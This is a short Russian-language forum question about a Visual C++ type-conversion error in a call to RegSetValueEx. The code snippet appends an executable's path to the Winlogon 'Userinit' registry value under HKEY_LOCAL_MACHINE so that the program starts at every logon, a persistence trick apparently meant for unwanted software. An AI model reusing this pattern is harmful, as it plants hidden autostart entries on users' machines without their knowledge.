Я только что переключился с Dev C ++ на Visual C ++, и в моем коде появляется ошибка, которую я не получал при использовании Dev C ++.Ошибка:
------ Build started: Project: badman_flex, Configuration: Debug Win32 ------
main.cpp
c:\documents and settings\administrator\my documents\visual studio 2010\projects\badman_flex\badman_flex\main.cpp(49): error C2664: 'RegSetValueExA' : cannot convert parameter 5 from 'char *' to 'const BYTE *'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========
Код в этой строке:
RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPath, 0, KEY_ALL_ACCESS, &hKey);
RegQueryValueEx(hKey,"Userinit", 0, 0, (BYTE*)buff, &dwBufSize);
if(!strstr(buff, "myapp.exe")) {
char *filepath = strcat(windowsDir, filename);
char *newRegValue = strcat(buff, filepath);
RegSetValueEx(hKey, "Userinit", 0, REG_SZ, newRegValue, strlen(newRegValue));
Что такое байт и почему VC ++ вызывает ошибку?
Спасибо
Редактировать Я напечатал и все заработало: D